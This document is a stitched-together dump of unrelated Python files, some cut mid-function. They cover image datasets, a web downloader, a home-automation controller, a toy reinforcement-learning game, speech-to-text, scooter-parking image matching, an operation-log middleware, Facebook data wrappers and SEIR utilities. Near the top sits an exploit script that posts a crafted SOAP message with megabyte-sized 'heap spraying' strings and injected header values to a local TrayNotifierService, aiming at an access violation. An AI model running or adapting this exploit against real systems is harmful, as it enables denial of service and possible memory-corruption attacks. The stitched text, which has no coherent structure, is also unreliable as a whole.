            inpt_image = self.inpt_img_transform(inpt_image)
        if self.out_img_transform is not None:
            shadow_mask = self.out_img_transform(shadow_mask)
        return inpt_image,shadow_mask

    def __len__(self):
        return len(self.inpt_img_shadow_mask)

    def get_first_elements(self,nb):
        iterator = iter(self)
        els = [next(iterator) for el in range(nb)]
        return els
    #TODO : test if appyling tensor transform on set of pil imaages is faster than appyling tensor
    # transform at the end

    def sample(self,with_path=False):
        index = np.random.randint(len(self))
        res = self.__getitem__(index)
        if with_path:
            return res,(index,self.path_imgs_with_data[index])
        else:
            return res

    def collate_fn(self,list_pair_imgs):
        """
            get list of pairs of imgs, and transform it to two batches, that
            will be used to feed the neural network, the pairs of  image, must
            be from the pairs returned by the __getitem__ object.

        """
        batch_inpt_images = []
        batch_sdw_masks = []

        for inpt_image,shadow_mask in list_pair_imgs:
            batch_inpt_images.append(inpt_image)
            batch_sdw_masks.append(shadow_mask)
        batch_inpt_images = torch.stack(batch_inpt_images)
        batch_sdw_masks = torch.stack(batch_sdw_masks)

        batch_inpt_images = batch_inpt_images.to(device)
        batch_sdw_masks = batch_sdw_masks.to(device)

        return batch_inpt_images,batch_sdw_masks

if __name__ == '__main__':

    import time
    start = time.time()
    pathTrainingData = "../Data/ISTD_Dataset/train"
    pathTestingData = "../Data/ISTD_Dataset/test"

    dtset = ShadowRemovalDataSet(
            pathTrainingData,
    joint_transform=custom_transforms.joint_transform,
    inpt_img_transform = custom_transforms.inpt_img_transform,
    out_img_transform = custom_transforms.out_img_transform
            )

    dtset = ShadowRemovalDataSet(pathTrainingData)
    els = dtset.get_first_elements(10)

    list_pair_imgs = els

    # res = dtset.collate_fn(list_pair_imgs)
    stop = time.time()

    print(stop-start)


#!/usr/bin/python

# XML-attribute is required: <ResourceIds> 10 </ResourceIds>
# no server-side validation about the availability of
# omit the XML-attribute "ResourceIds" leads to ACCESS_VIOLATION

import requests
import json
import html

action_payload=1*"A"
TrayIconUrl="http://localhost:11001/traynotifierservice"
header={"User-Agent":action_payload,
	"Content-Type":"text/xml; charset=utf-8",
	"SOAPAction":action_payload
	}

heap_spraying=1024*1024*"\x41" # 1 Megabyte

payload=1024*1024*"999999999999999999999"
html_msg="
HACK MACK...
 HACK MACK...."

SOAPMsg='<?xml version="1.0" encoding="UTF-8"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:traynotifierservice="urn:TrayNotifierService"> \
<SOAP-ENV:Body> \
<traynotifierservice:ShowActionTimeoutDialog> \
<nTimeout>60</nTimeout> \

Caption
\
</traynotifierservice:ShowActionTimeoutDialog>\
</SOAP-ENV:Body> \
</SOAP-ENV:Envelope>'

try:
	r=requests.post(TrayIconUrl, data=SOAPMsg.encode(), headers=header)
#	r=requests.get(TrayIconUrl, params=payload, headers=header, timeout=60.0)
except requests.exceptions.RequestException as err:
	print("[-] Error...")
	print(err)
try:
	print(r)
	print(r.text)
except NameError as err:
	print("[-] Error...")
	print(err)


from http import cookiejar
from urllib import request, error
from urllib.parse import urlparse
import time
from datetime import datetime, timedelta
import socket

DEFAULT_DELAY = 0
DEFAULT_TIMEOUT = 60

class HtmlDownLoader(object):
    def __init__(self, delay=DEFAULT_DELAY, timeout=DEFAULT_TIMEOUT):
        socket.setdefaulttimeout(timeout)
        self.throttle = Throttle(delay)

    def download(self, url, retry_count=3, headers=None, proxy=None, data=None):
        if url is None:
            return None
        try:
            self.throttle.wait(url)#延时
            req = request.Request(url, headers=headers, data=data)
            cookie = cookiejar.CookieJar()
            cookie_process = request.HTTPCookieProcessor(cookie)
            opener = request.build_opener()
            if proxy:
                proxies = {urlparse(url).scheme: proxy}
                opener.add_handler(request.ProxyHandler(proxies))
            content = opener.open(req).read()
        except error.URLError as e:
            print('HtmlDownLoader download error:', e.reason)
            content = None
            if retry_count > 0:
                if hasattr(e, 'code') and 500 <= e.code < 600:
                    #说明是 HTTPError 错误且 HTTP CODE 为 5XX 范围说明是服务器错误，可以尝试再次下载
                    return self.download(url, retry_count-1, headers, proxy, data)
        return content

class Throttle:
    """Throttle downloading by sleeping between requests to same domain
    """
    def __init__(self, delay):
        # amount of delay between downloads for each domain
        self.delay = delay
        # timestamp of when a domain was last accessed
        self.domains = {}

    def wait(self, url):
        """Delay if have accessed this domain recently
        """
        domain = urlparse(url).netloc
        last_accessed = self.domains.get(domain)
        if self.delay > 0 and last_accessed is not None:
            sleep_secs = self.delay - (datetime.now() - last_accessed).seconds
            if sleep_secs > 0:
                time.sleep(sleep_secs)
        self.domains[domain] = datetime.now()


import abc
import time
from collections import defaultdict
from functools import wraps
from typing import (
    Any,
    Callable,
    DefaultDict,
    Dict,
    List,
    Optional,
    Sequence,
    Tuple,
    Union,
)

from appdaemon.plugins.hass.hassapi import Hass  # type: ignore
from appdaemon.plugins.mqtt.mqttapi import Mqtt  # type: ignore

import cx_version
from cx_const import ActionFunction, TypeAction, TypeActionsMapping
from cx_core import integration as integration_module
from cx_core.integration import Integration

Service = Tuple[str, Dict]
Services = List[Service]

DEFAULT_DELAY = 350  # In milliseconds
DEFAULT_ACTION_DELTA = 300  # In milliseconds

def action(method) -> ActionFunction:
    @wraps(method)
    async def _action_impl(controller, *args, **kwargs):
        continue_call = await controller.before_action(method.__name__, *args, **kwargs)
        if continue_call:
            await method(controller, *args, **kwargs)

    return _action_impl

class Controller(Hass, Mqtt, abc.ABC):
    """
    This is the parent Controller, all controllers must extend from this class.
    """

    async def initialize(self) -> None:
        self.log(
            f"🎮 ControllerX {cx_version.__version__}", ascii_encode=False,
        )
        self.check_ad_version()

        # Get arguments
        self.controllers_ids = self.get_list(self.args["controller"])
        integration = self.get_integration(self.args["integration"])

        custom_mapping: Dict[Union[str, int], str] = self.args.get("mapping", None)
        self.actions_key_mapping = (
            self.get_actions_mapping(integration)
            if custom_mapping is None
            else {
                event: self.parse_action(action)
                for event, action in custom_mapping.items()
            }
        )

        self.type_actions_mapping = self.get_type_actions_mapping()
        if "actions" in self.args and "excluded_actions" in self.args:
            raise ValueError("`actions` and `excluded_actions` cannot be used together")
        included_actions = set(
            self.get_list(
                self.args.get("actions", list(self.actions_key_mapping.keys()))
            )
        )
        excluded_actions = set(self.get_list(self.args.get("excluded_actions", [])))
        included_actions = included_actions - excluded_actions
        default_action_delay = {action_key: 0 for action_key in included_actions}
        self.action_delay = {
            **default_action_delay,
            **self.args.get("action_delay", {}),
        }
        self.action_delta = self.args.get("action_delta", DEFAULT_ACTION_DELTA)
        self.action_times: DefaultDict[str, float] = defaultdict(lambda: 0.0)
        self.action_delay_handles: DefaultDict[str, Optional[float]] = defaultdict(
            lambda: None
        )

        # Filter the actions
        filter_actions_mapping: TypeActionsMapping = {
            key: value
            for key, value in self.actions_key_mapping.items()
            if key in included_actions
        }

        # Map the actions mapping with the real functions
        self.actions_mapping = {
            k: (self.type_actions_mapping[v] if isinstance(v, str) else v)
            for k, v in filter_actions_mapping.items()
        }

        for controller_id in self.controllers_ids:
            integration.listen_changes(controller_id)

    def get_option(self, value: str, options: List[str]) -> str:
        if value in options:
            return value
        else:
            raise ValueError(f"{value} is not an option. The options are {options}")

    def parse_integration(self, integration: Union[str, dict]) -> Dict[str, str]:
        if isinstance(integration, str):
            return {"name": integration}
        elif isinstance(integration, dict):
            if "name" in integration:
                return integration
            else:
                raise ValueError("'name' attribute is mandatory")
        else:
            raise ValueError(
                f"Type {type(integration)} is not supported for `integration` attribute"
            )

    def get_integration(self, integration: Union[str, dict]) -> Integration:
        parsed_integration = self.parse_integration(integration)
        kwargs = {k: v for k, v in parsed_integration.items() if k != "name"}
        integrations = integration_module.get_integrations(self, kwargs)
        integration_argument = self.get_option(
            parsed_integration["name"], [i.name for i in integrations]
        )
        return next(i for i in integrations if i.name == integration_argument)

    def check_ad_version(self) -> None:
        ad_version = self.get_ad_version()
        major, _, _ = ad_version.split(".")
        if int(major) < 4:
            raise ValueError("Please upgrade to AppDaemon 4.x")

    def get_actions_mapping(self, integration) -> TypeActionsMapping:
        actions_mapping = integration.get_actions_mapping()
        if actions_mapping is None:
            raise ValueError(f"This controller does not support {integration.name}.")
        return actions_mapping

    def get_list(self, entities: Union[Sequence[str], str]) -> List[str]:
        if isinstance(entities, str):
            return [entities]
        elif isinstance(entities, list):
            return entities
        else:
            return []

    async def call_service(self, service: str, **attributes) -> None:
        self.log(
            f"🤖 Service: \033[1m{service.replace('/', '.')}\033[0m",
            level="INFO",
            ascii_encode=False,
        )
        for attribute, value in attributes.items():
            if isinstance(value, float):
                value = f"{value:.2f}"
            self.log(
                f"  - {attribute}: {value}", level="INFO", ascii_encode=False,
            )
        return await Hass.call_service(self, service, **attributes)

    async def handle_action(self, action_key: str) -> None:
        if action_key in self.actions_mapping:
            previous_call_time = self.action_times[action_key]
            now = time.time() * 1000
            self.action_times[action_key] = now
            if now - previous_call_time > self.action_delta:
                self.log(
                    f"🎮 Button event triggered: `{action_key}`",
                    level="INFO",
                    ascii_encode=False,
                )
                await self.call_action(action_key)
        else:
            self.log(
                f"🎮 Button event triggered, but not registered: `{action_key}`",
                level="DEBUG",
                ascii_encode=False,
            )

    async def call_action(self, action_key: str):
        delay = self.action_delay[action_key]
        if delay > 0:
            handle = self.action_delay_handles[action_key]
            if handle is not None:
                await self.cancel_timer(handle)
            self.log(
                f"🕒 Running `{self.actions_key_mapping[action_key]}` in {delay} seconds",
                level="INFO",
                ascii_encode=False,
            )
            new_handle = await self.run_in(
                self.action_timer_callback, delay, action_key=action_key
            )
            self.action_delay_handles[action_key] = new_handle
        else:
            await self.action_timer_callback({"action_key": action_key})

    async def action_timer_callback(self, kwargs):
        action_key = kwargs["action_key"]
        self.action_delay_handles[action_key] = None
        self.log(
            f"🏃 Running `{self.actions_key_mapping[action_key]}` now",
            level="INFO",
            ascii_encode=False,
        )
        action, *args = self.get_action(self.actions_mapping[action_key])
        await action(*args)

    async def before_action(self, action: str, *args, **kwargs) -> bool:
        """
        Controllers have the option to implement this function, which is called
        everytime before an action is called and it has the check_before_action decorator.
        It should return True if the action shoul be called.
        Otherwise it should return False.
        """
        return True

    def get_action(self, action_value: Union[Sequence, Callable]):
        if isinstance(action_value, tuple) or isinstance(action_value, list):
            return action_value
        elif callable(action_value):
            return (action_value,)
        else:
            raise ValueError(
                "The action value from the action mapping should be a list or a function"
            )

    def parse_action(self, action) -> TypeAction:
        if isinstance(action, str):
            return action
        elif isinstance(action, dict) or isinstance(action, list):
            services: Services = []
            if isinstance(action, dict):
                action = [action]
            for act in action:
                service = act["service"].replace(".", "/")
                data = act.get("data", {})
                services.append((service, data))
            return (self.call_services, services)
        else:
            raise ValueError(
                f"{type(action)} is not supported for the mapping value attributes"
            )

    @action
    async def call_services(self, services: Services) -> None:
        for service, data in services:
            await self.call_service(service, **data)

    def get_z2m_actions_mapping(self) -> Optional[TypeActionsMapping]:
        """
        Controllers can implement this function. It should return a dict
        with the states that a controller can take and the functions as values.
        This is used for zigbee2mqtt support.
        """
        return None

    def get_deconz_actions_mapping(self) -> Optional[TypeActionsMapping]:
        """
        Controllers can implement this function. It should return a dict
        with the event id that a controller can take and the functions as values.
        This is used for deCONZ support.
        """
        return None

    def get_zha_actions_mapping(self) -> Optional[TypeActionsMapping]:
        """
        Controllers can implement this function. It should return a dict
        with the command that a controller can take and the functions as values.
        This is used for ZHA support.
        """
        return None

    def get_zha_action(self, data: dict) -> Optional[str]:
        """
        This method can be override for controllers that do not support
        the standard extraction of the actions on cx_core/integration/zha.py
        """
        return None

    def get_type_actions_mapping(self) -> TypeActionsMapping:
        return {}

class TypeController(Controller, abc.ABC):
    @abc.abstractmethod
    def get_domain(self) -> List[str]:
        raise NotImplementedError

    async def check_domain(self, entity: str) -> None:
        domains = self.get_domain()
        if entity.startswith("group."):
            entities = await self.get_state(entity, attribute="entity_id")
            same_domain = all(
                (
                    any(elem.startswith(domain + ".") for domain in domains)
                    for elem in entities
                )
            )
            if not same_domain:
                raise ValueError(
                    f"All entities from '{entity}' must be from one "
                    f"of the following domains {domains} (e.g. {domains[0]}.bedroom)"
                )
        elif not any(entity.startswith(domain + ".") for domain in domains):
            raise ValueError(
                f"'{entity}' must be from one of the following domains "
                f"{domains} (e.g. {domains[0]}.bedroom)"
            )

    async def get_entity_state(self, entity: str, attribute: str = None) -> Any:
        if entity.startswith("group."):
            entities = await self.get_state(entity, attribute="entity_id")
            if len(entities) == 0:
                raise ValueError(
                    f"The group `{entity}` does not have any entities registered."
                )
            entity = entities[0]
        out = await self.get_state(entity, attribute=attribute)
        return out

class ReleaseHoldController(Controller, abc.ABC):
    DEFAULT_MAX_LOOPS = 50

    async def initialize(self):
        self.on_hold = False
        self.delay = self.args.get("delay", self.default_delay())
        self.max_loops = self.args.get(
            "max_loops", ReleaseHoldController.DEFAULT_MAX_LOOPS
        )
        self.hold_release_toggle: bool = self.args.get("hold_release_toggle", False)
        await super().initialize()

    @action
    async def release(self) -> None:
        self.on_hold = False

    @action
    async def hold(self, *args) -> None:
        loops = 0
        self.on_hold = True
        stop = False
        while self.on_hold and not stop:
            stop = await self.hold_loop(*args)
            # Stop the iteration if we either stop from the hold_loop
            # or we reached the max loop number
            stop = stop or loops >= self.max_loops
            await self.sleep(self.delay / 1000)
            loops += 1
        self.on_hold = False

    async def before_action(self, action: str, *args, **kwargs) -> bool:
        super_before_action = await super().before_action(action, *args, **kwargs)
        to_return = not (action == "hold" and self.on_hold)
        if action == "hold" and self.on_hold and self.hold_release_toggle:
            self.on_hold = False
        return super_before_action and to_return

    @abc.abstractmethod
    async def hold_loop(self, *args) -> bool:
        """
        This function is called by the ReleaseHoldController depending on the settings.
        It stops calling the function once release action is called or when this function
        returns True.
        """
        raise NotImplementedError

    def default_delay(self) -> int:
        """
        This function can be overwritten for each device to indeicate the delay
        for the specific device, by default it returns the default delay from the app
        """
        return DEFAULT_DELAY


'''
A BASIC REINFORCEMENT LEARNING PROBLEM DEPECTING A SNAKE - RACE PROBLEM BASED ON REWARDS
a=1 -> LEFT TURN
b=1 depict-> NO TURN
c=1-> RIGHT TURN.

'''
import random
from typing import List

class SampleEnvironment:
        def __init__ (self) :
            self. steps_left = 10

        def get_observations(self)->List[float] :
            self.my_observation= random.randint(1, 100)
            observed_value=float(self.my_observation)
            if(self.my_observation<=33):
                return[observed_value,0.0,0.0]
            elif (self.my_observation>=33 and self.my_observation<=66):
                return[0.0,observed_value,0.0]
            else:
                return [0.0, 0.0, observed_value]

        def get_actions(self)->List[int]:
            if(self.my_observation<=33):
                return [1,0,0]
            elif (self.my_observation>=33 and self.my_observation<=66):
                return[0,1,0]
            else:
                return [0,0,1]

        def is_done(self) -> bool:
            return self. steps_left == 0

        def action(self, action: int)-> float:
            if self. is_done():
                raise Exception("Game is over")
            self. steps_left -=1
            return random. random()

class Agent:
    def __init__(self) -> None:
        self.total_reward=0.0

    def step(self,env: SampleEnvironment):
        current_obs=env.get_observations()
        print("Current Observation :  {} ".format(current_obs))
        actions= env.get_actions()
        if(actions==[0,1,0]):
            print("Current Action :  {} : NO TURN ".format(actions))
        elif(actions==[1,0,0]):
            print("Current Action :  {} : LEFT TURN ".format(actions))
        else:
            print("Current Action :  {} : RIGHT TURN ".format(actions))

        reward= env.action(random.choice(actions))
        self.total_reward += reward
        print('Reward Collected and State Changed...')
        print()

if __name__=="__main__":
    env = SampleEnvironment()
    agent=Agent()
    i=1
    while not env.is_done():
        print("STEP : ",i)
        i+=1
        agent.step(env)

    print("TOTAL REWARD AT THE END OF GAME IS : %.4f" %agent.total_reward)


from watson_developer_cloud import SpeechToTextV1
import json
from os.path import join, dirname
# APIキーをconfig.pyに書いて参照
import config

speech_to_text = SpeechToTextV1(
    iam_apikey=config.API_KEY_SPEEECH_TO_TEXT,
    url='https://gateway-tok.watsonplatform.net/speech-to-text/api'
)

# 音声入力したファイル
files = ['Speech.wav']

for file in files:
    with open(join(dirname(__file__), './.', file),
              'rb') as audio_file:
        speech_recognition_results = speech_to_text.recognize(
            audio=audio_file,
            model='ja-JP_BroadbandModel',
            content_type='audio/wav',
            timestamps=True,
            word_alternatives_threshold=0.9,
            keywords=['colorado', 'tornado', 'tornadoes'],
            keywords_threshold=0.5
        ).get_result()
    p = json.dumps(speech_recognition_results,
                   indent=2, ensure_ascii=False)

    data = json.loads(p)
# 音声テキストのみ抽出

for i in data["results"]:
    text = i["alternatives"][0]["transcript"]
    print(text)


import cv2 as cv
import matplotlib.pyplot as plt
import numpy as np
import os

def build_keypoint_descriptor_library(file_names,sift):
    keypoints = list()
    descriptors = list()
    i = 0
    for file in file_names:
        img = cv.imread(os.getcwd() +"/trainingImages/" +  file)
        gray_img = cv.cvtColor(img,cv.COLOR_BGR2GRAY)
        keypoints_1, descriptors_1 = sift.detectAndCompute(gray_img,None)
        #keypoint_map = cv.drawKeypoints(gray_img,keypoints_1,img,color=red_color)
        keypoints.append(keypoints_1)
        descriptors.append(descriptors_1)
    return keypoints,descriptors

def test_image(file_path):
    #matplotlib inline
    #Read image
    file_name  = 'training_image_'
    file_ending = '.jpg'
    sift = cv.SIFT_create(3000)
    file_names = list()
    for i in range(1,6):
        file1 = file_name + str(i) + file_ending
        file_names.append(file1)

    keypoint_list,descriptor_list = build_keypoint_descriptor_library(file_names,sift)

    sift = cv.SIFT_create(5000)
    test_image = cv.imread(os.getcwd() + "/static/" + file_path)
    test_image_gray = cv.imread(os.getcwd() + "/static/" + file_path,cv.IMREAD_GRAYSCALE)
    test_image_keypoints,test_image_descriptors = sift.detectAndCompute(test_image_gray,None)
    #keypoint_map = cv.drawKeypoints(test_image_gray,test_image_keypoints,test_image,color=red_color)
    #file_path = './keypoint_maps/keypoint_map_test_image_4' + '.jpg'

    brute_matcher =  cv.BFMatcher()
    temp = int(2)

    for i in range(len(descriptor_list)):
        training_image = cv.imread(os.getcwd() +"/trainingImages/" +  file_names[i])
        print(training_image)
        descriptor = descriptor_list[i]
        keypoint = keypoint_list[i]
        matches = brute_matcher.knnMatch(descriptor,test_image_descriptors,k=temp)
        good = []
        good_matches_list = []
        for m,n in matches:
            if  m.distance < .6 * n.distance:
                good.append(m)
                good_matches_list.append([m])

        failed_comparison = 0
        #Not enough keypoints. The lime is illegally parked or cannot be checked
        if len(good) != 0:

            print("The lime is present in the picture")

            src_pts = np.float32([keypoint[m.queryIdx].pt for m in good]).reshape(-1,1,2)
            dst_pts = np.float32([test_image_keypoints[m.trainIdx].pt for m in good]).reshape(-1,1,2)

            M, mask = cv.findHomography(src_pts,dst_pts,cv.RANSAC,float(5.0))
            matches_mask = mask.ravel().tolist()

            h,w,l = training_image.shape
            pts = np.float32([[0,0] , [0,h-1] , [w-1,h-1], [w-1,0] ]).reshape(-1 ,1 ,2)
            dst = ''
            if M:
                dst = cv.perspectiveTransform(pts,M)
                mappedImage = cv.polylines(test_image, [np.int32(dst)], True, 255, 3, cv.LINE_AA)
            else:
                return "The Lime was parked incorrectly"
        else:
            failed_comparison +=1

    if failed_comparison == len(file_names):
        return "The Lime is parked incorrectly"
    return "The lime was parked correctly"


import matplotlib.pyplot as plt

X, Y = [], []
for line in open('puntos.dat', 'r'):
  values = [float(s) for s in line.split()]
  X.append(values[0])
  Y.append(values[1])

plt.rc('grid', linestyle='dotted', color='grey')
plt.plot(X, Y)
plt.grid(True)
plt.savefig('plot.png')
plt.show()


import json
from typing import AsyncIterator
from starlette.requests import Request
from starlette.responses import Response, StreamingResponse
from starlette.status import HTTP_200_OK, HTTP_300_MULTIPLE_CHOICES

from db.crud.operation_log import OperationLog as OperationLogCRUD
from models.errors import HttpNotFound, HttpServerError

from db.crud.users import User
from db.crud.role import Role
from db.crud.user_role import UserRole
from db.crud.role_permission import RolePermission
from db.crud.user_group import UserGroup
# auto add import in here

# TODO support multiple level(like: user/1/xxx/1) in the future
GET_DATA_CLASS_MAP = {
    # router: crud classname, crud method
    "users": {"classname": User, "method": "get_user_by_id"},
    "register": {"classname": User, "method": "get_user_by_id"},
    "role": {"classname": Role, "method": "get_role_by_id"},
    "user_role": {"classname": UserRole, "method": "get_user_role_by_id"},
    "role_permission": {"classname": RolePermission, "method": "get_role_permission_by_id"},
    "user_group": {"classname": UserGroup, "method": "get_user_group_by_id"},
    # auto add map in here
}

RECORD_METHOD = {
    "PUT": True,
    "POST": True,
    "DELETE": True,
}

async def get_path_segs(path: str):
    return path.split("/")

async def gen_btree_path(path_segs: list):
    path = ".".join(path_segs[3:])
    # if len(path_segs) == 4 and id:
    #     path = "{}.{}".format(path, id)

    return path

async def get_data(name: str, id: int, pgpool):
    if name not in GET_DATA_CLASS_MAP.keys():
        raise HttpServerError("bad uri")

    info = GET_DATA_CLASS_MAP[name]
    obj = info['classname'](pgpool)
    func = getattr(obj, info['method'])

    return await func(id)

async def get_old_data(request: Request):
    # generate path: /api/v{api version}/xx/{id}
    path_segs = await get_path_segs(request['path'])
    if len(path_segs) < 5:
        raise HttpNotFound("bad uri")

    id = int(path_segs[-1])
    if id <= 0:
        raise HttpNotFound("bad uri")

    name = str(path_segs[-2])
    if not name:
        raise HttpNotFound("bad uri")

    # btree_path = gen_btree_path(path_segs)
    return await get_data(name, id, request.app.state.pgpool)

async def set_new_data(request: Request, data: str):
    request.state.oplog['new'] = data

async def set_new_data_id(request: Request, id: int):
    request.state.oplog['id'] = id

async def get_new_data_id(request: Request):
    return request.state.oplog['id']

def get_data_id(path_segs, oplog):
    if len(path_segs) > 4:
        return int(path_segs[4])

    if 'id' in oplog:
        return oplog['id']

    raise HttpNotFound("id not found")

def is_need_record(method):
    if method in RECORD_METHOD:
        return True

    return False

async def enable(request: Request):
    request.state.oplog = dict()

    # check http mathod
    method = request.method
    if method == "PUT" or method == "DELETE":
        # backup old data
        request.state.oplog['old'] = await get_old_data(request)
        request.state.oplog['enable'] = True
    elif method == "POST":
        request.state.oplog['enable'] = True
    else:
        request.state.oplog['enable'] = False

async def read_bytes(generator: AsyncIterator[bytes]) -> bytes:
    body = b""
    async for data in generator:
        body += data
    return body

async def get_body_from_streaming_response(streaming: StreamingResponse):
    return await read_bytes(streaming.body_iterator)

async def record(request: Request, response: StreamingResponse):
    if response.status_code < HTTP_200_OK \
            or response.status_code >= HTTP_300_MULTIPLE_CHOICES:
        return response

    try:
        oplog_enable = request.state.oplog['enable']
    except AttributeError:
        oplog_enable = False

    if not oplog_enable:
        return response

    method = request.method
    if not is_need_record(method):
        return response

    if method == "PUT" or method == "POST":
        if response.headers['content-type'] != "application/json" \
                and response.media_type != "application/json":
            # TODO warning log
            pass

        content = await get_body_from_streaming_response(response)
        response = Response(
            content,
            response.status_code,
            response.headers,
            response.media_type,
            response.background
        )

    pool = request.app.state.pgpool

    oplog = request.state.oplog
    path_segs = await get_path_segs(request['path'])

    old: str = None
    if method == "PUT" or method == "DELETE":
        old = oplog['old'].json()

    new: str = None
    if method == "PUT" or method == "POST":
        body = response.body.decode("utf-8")
        body_json = json.loads(body)
        id = body_json['id']

        if method == "POST":
            path_segs.append(str(id))

        new = await get_data(path_segs[-2], id, pool)
        new = new.json()

    # record oplog to db
    oplog_crud = OperationLogCRUD(pool)
    path = await gen_btree_path(path_segs)
    current_user = request.state.current_user

    creator = 0
    if current_user:
        creator = current_user.id

    await oplog_crud.add_operation_log(op=method, path=path, new=new,
                                       old=old, creator=creator)

    return response


from .utils import decode_early

class FacebookPage(object):
    """
    A wrapper class for Facebook Page data.
    """

    def __init__(self, **kwargs):
        self._raw = kwargs.copy()

        for k, v in kwargs.iteritems():
            if k == 'cover':
                setattr(self, 'cover_url', v.get('source'))
            elif k == 'likes':
                setattr(self, 'likes_count', v)
            elif k == 'id':
                setattr(self, 'id_str', v)
            else:
                setattr(self, k, v)

        self.profile_fields = ['about', 'cover_url', 'is_published', 'link',
                               'username', 'website', 'name']
        self.stats_fields = ['likes_count', 'were_here_count', 'talking_about_count']
        self.account_fields = ['id_str']

    @property
    def profile(self):
        return {i: getattr(self, i) for i in self.profile_fields}

    @property
    def stats(self):
        return {i: getattr(self, i) for i in self.stats_fields}

class FacebookFeed(list):
    pass

class FacebookPost(object):
    def __init__(self, **kwargs):
        self._raw = kwargs.copy()
        for k, v in kwargs.iteritems():
            if k == 'created_time':
                setattr(self, 'created_at', v)
            elif k == 'id':
                setattr(self, 'id_str', v)

            else:
                setattr(self, k, decode_early(v))
        # hack because shares is not always in the response from fb
        self.shares_count = self._raw.get('shares', {}).get('count', 0)
        self.likes_count = self._raw.get('likes', {}).get('summary', {}).get('total_count', 0)
        self.comments_count = self._raw.get('comments', {}).get('summary', {}).get('total_count', 0)

        self.post_fields = ['id_str', 'type', 'created_at', 'message', 'link', 'name',
                            'description', 'story', 'shares_count', 'comments_count',
                            'likes_count']

    def __repr__(self):
        return "<Post: {0}>".format(self.id_str)

    @property
    def fields(self):
        return {i: getattr(self, i, '') for i in self.post_fields}

class FacebookLike(object):
    def __init__(self, **kwargs):
        self._raw = kwargs.copy()
        for k, v in kwargs.iteritems():
            if k == 'id':
                setattr(self, 'user_id', decode_early(v))
            elif k == 'name':
                setattr(self, 'user_name', decode_early(v))
            else:
                setattr(self, k, decode_early(v))

        self.like_fields = ['user_id', 'user_name', 'pic_large']

    def __repr__(self):
        return "<Like: {0} likes it".format(self.user_name)

    @property
    def fields(self):
        return {i: getattr(self, i, '') for i in self.like_fields}

class FacebookComment(object):
    def __init__(self, **kwargs):
        self._raw = kwargs.copy()
        for k, v in kwargs.iteritems():

            if k == 'from':
                setattr(self, 'user_id', decode_early(v.get('id')))
                setattr(self, 'user_name', decode_early(v.get('name')))
            if k == 'created_time':
                setattr(self, 'created_at', v)
            else:
                setattr(self, k, decode_early(v))

        self.likes_count = self._raw.get('likes', {}).get('summary', {}).get('total_count', 0)
        self.comment_fields = ['user_id', 'user_name', 'message', 'created_at', 'likes_count']

    @property
    def fields(self):
        return {i: getattr(self, i, '') for i in self.comment_fields}

    def __repr__(self):
        return "<Comment from {0}: {1}>".format(self.user_name, self.message)

class FacebookShare(object):
    def __init__(self, **kwargs):
        self._raw = kwargs.copy()
        for k, v in kwargs.iteritems():
            if k == 'from':
                setattr(self, 'user_id', decode_early(v.get('id')))
                setattr(self, 'user_name', decode_early(v.get('name')))
            if k == 'created_time':
                setattr(self, 'created_at', v)
            else:
                setattr(self, k, decode_early(v))

        self.likes_count = self._raw.get('likes', {}).get('summary', {}).get('total_count', 0)
        self.share_fields = ['user_id', 'user_name', 'created_at', 'likes_count']

    @property
    def fields(self):
        return {i: getattr(self, i, '') for i in self.share_fields}


import os
import hashlib
import pickle
from functools import partial
from pprint import pprint as pp

# class definitions for *_objects_equal functions
from collections.abc import Iterable
from numbers import Number

SEIR_HOME = os.environ['SEIR_HOME']

def md5sum(filename):
    """Credit to Raymond Hettinger's reply on SO post
    https://stackoverflow.com/questions/7829499/using-hashlib-to-compute-md5-digest-of-a-file-in-python-3
    """
    with open(filename, mode='rb') as f:
        d = hashlib.md5()
        for buf in iter(partial(f.read, 128), b''):
            d.update(buf)
    return d.hexdigest()
    # print(md5sum('utils.py'))

def fp(path):
    """Prepends SEIR_HOME to path and returns full path."""
    return os.path.join(SEIR_HOME, path)

def obj_to_pickle(obj, fp):
    """Pickle dumps Python `obj` to path `fp`"""
    with open(fp, 'wb') as f:
        pickle.dump(obj, f)
    assert os.path.isfile(fp)

def compare_dicts(old_d, new_d, show_diff=False):
    """Compares dictionaries by key and prints in sane format
    """
    if old_d.keys() != new_d.keys():
        print("\tkeys are different between old len({}) and new len({})".format(
            len(old_d.keys()), len(new_d.keys())))
    all_okay = True
    for k in sorted(set(list(old_d.keys()) + list(new_d.keys()))):
        print("   {}".format(k))
        if k not in new_d:
            print("*    new dict has no attr ")
            continue
        elif k not in old_d:
            print("*     old dict has no attr ")
            continue
        are_equal = are_objects_equal(old_d[k], new_d[k])
        if are_equal:
            print("    is same between legacy and new")
        else:
            print("*    is **DIFFERENT** between legacy and new")
            all_okay = False
            if show_diff:
                print("     old: ", old_d[k])
                print("     new: ", new_d[k])
    return all_okay

def assert_objects_equal(o1, o2, max_depth=20, verbose=False):
    """Checkout from tests/pytest_utils.py on commit
    4d568cf938e06551fa9980e1071ddc4ec2b93ebc
    """
    def both_inst_of(otype):
        try:
            return isinstance(o1, otype) and isinstance(o2, otype)
        except RecursionError as recur_err:
            # raise Warning()
            raise recur_err

    max_depth -= 1
    if verbose:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
    assert type(o1) is type(o2), \
        "types differ: {} vs {}".format(type(o1), type(o2))
    if max_depth <= 0:
        print("comparing objects:")
        pp(o1, indent=4)
        pp(o2, indent=4)
        raise RecursionError("assert_objects_equal reached " +
                             "maximum levels searched. ".format(max_depth) +
                             "Recommended to call this function with " +
                             "verbose=True")
    try:
        assert o1 == o2, "values differ"
    except AssertionError as ass_err:
        pp(o1)
        print("versus")
        pp(o2)
        raise ass_err
    except ValueError as val_err:
        if both_inst_of((Number, str)):
            # have to catch type str to prevent RecursionError
            # (strings are Iterable)
            assert o1 == o2, "values differ: {} vs {}".format(o1, o2)
        elif both_inst_of(dict):
            assert len(o1.keys()) == len(o2.keys()), \
                "len(dict.keys()) differ: {} vs {}".format(o1.keys(), o2.keys())
            for k in o1.keys():
                assert_objects_equal(o1[k], o2[k], max_depth=max_depth,
                                     verbose=verbose)
        elif both_inst_of(Iterable):
            assert len(o1) == len(o2), \
                "lengths differ: {} vs {}".format(len(o1), len(o2))
            for k in range(len(o1)):
                assert_objects_equal(o1[k], o2[k], max_depth=max_depth,
                                     verbose=verbose)
        else:
